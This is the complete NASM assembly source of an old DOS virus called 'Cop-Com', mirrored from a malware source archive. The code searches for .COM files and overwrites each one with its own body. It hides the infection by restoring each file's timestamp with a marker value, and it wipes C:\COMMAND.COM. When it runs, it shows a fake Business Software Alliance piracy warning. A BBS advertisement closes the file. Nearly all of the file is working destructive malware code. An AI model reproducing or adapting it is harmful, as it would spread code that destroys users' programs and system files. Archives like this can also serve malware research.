mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
104 lines
2.5 KiB
NASM
104 lines
2.5 KiB
NASM
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; Cop-Com Virus
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;
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Org 100h
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Main: Xor Cx,Cx
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On1: Call CritErr
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Inc Cx
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Cmp Cx,10
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Jb Infect
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Push Cs
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Pop Ds
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Mov Ah,3ch
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Lea Dx,Command
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Xor Cx,Cx
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Int 21h
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Mov Ah,9
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Lea Dx,Msg
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Int 21h
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Jmp ShutDown
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;
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; Infection procedure
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;
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Infect: Push Cx
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Mov Ah,4eh
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Push Cs
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Pop Ds
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NextFile: Xor Cx,Cx
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Lea Dx,COMFILE
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Int 21h
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Jc Einde
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Mov Ax,Cs:[96h]
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And Ax,1fh
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Cmp Ax,1fh
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Jne Do_It
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Mov Ah,4fh
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Jmp NextFile
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Do_It: Mov Ax,3d02h
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Mov Dx,9eh
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Int 21h
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Xchg Ax,Bx
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Mov Ax,5700h
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Int 21h
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Push Cx
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Push Dx
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Mov Ah,40h
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Mov Dx,100h
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Mov Cx,VirLen
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Int 21h
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Pop Dx
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Pop Cx
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Or Cx,1fh
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Mov Ax,5701h
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Int 21h
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Mov Ah,3eh
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Int 21h
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Einde: Pop Cx
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Jmp On1
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;
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; Routine for calling the critical error handler
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;
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CritErr: Mov Ah,19h
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Int 21h
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Xor Dx,Dx
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Mov Ds,Dx
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Mov Ah,3ah
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Pushf
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Call Dword ptr Ds:[90h]
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Cmp Al,2
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Jae ShutDown
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Ret
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;
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; Terminate routine
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;
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ShutDown: Mov Ax,4c00h
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Int 21h
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;
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; Activate message
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;
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Msg Db 13,10,'Program halted by Cop-Com'
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Db 13,10,'Unauthorized program on your system'
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Db 13,10,'Consult Local dealer for support'
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Db 13,10,'$'
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Db '> (C) Business Software Alliance <'
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;
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; Filespecs
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;
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Command Db 'C:\COMMAND.COM',0
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COMFILE Db '*.COM',0
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VirLen Equ $-Main
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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